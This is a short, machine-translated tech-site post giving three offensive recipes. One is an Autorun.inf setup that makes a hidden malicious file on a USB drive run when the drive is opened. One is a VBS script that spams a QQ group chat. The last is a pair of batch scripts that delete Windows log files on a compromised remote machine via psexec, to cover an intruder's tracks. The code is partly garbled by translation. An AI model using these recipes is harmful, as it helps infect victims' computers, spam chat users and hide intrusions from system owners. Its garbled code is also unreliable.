Shulou(Shulou.com)06/01 Report--

1. Put the executable malicious file into the U disk. And set the hide.

2. Create a file Autorun.inf

3. Write content:

[AutoRun] full name of OPEN= malicious file shellexecute= full name of malicious file shell\ Atuo\ command= full name of malicious file

Hide this file.

4. When the U disk is inserted into a new device and the operator double-clicks the U disk icon to view the U disk, the malicious file will be run automatically.

VBS script, QQ group chat and screen brushing:

Create a new vbs suffix file. The contents are as follows:

Set WshShell= WScript.CreateObject ("WScript.Shell") WshShell.AppActivate "group chat screen brushing test" for iTunes 1 to 10 WScript.Sleep 500WshShell.SendKeys "^ v" WshShell.SendKeys iWshShell.SendKeys "% s" Next

The # for i=1to 10 "statement is used to control the number of times it is sent, indicating that it is sent 10 times.

Open a group chat window and copy the content you want to send to the clipboard, double-click the "qq.vbs" you just generated to switch to the group chat window, where you can see that the screen has been brushed automatically.

Log cleanup:

Create a new del.bat script

@ del del c:winntsystem32*.log del c:winntsystem32*.log @ del c:winntsystem32*.txt @ del c:winnt*.txt @ del c:winnt*.log @ del c:del.bat

Create a new clean.bat

@ copy del.bat\ $@ echo copy the native del.bat to the broiler. OK @ psexec\% 1 c:del.bat @ echo runs del.bat on the broiler to clear the log file. OK

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.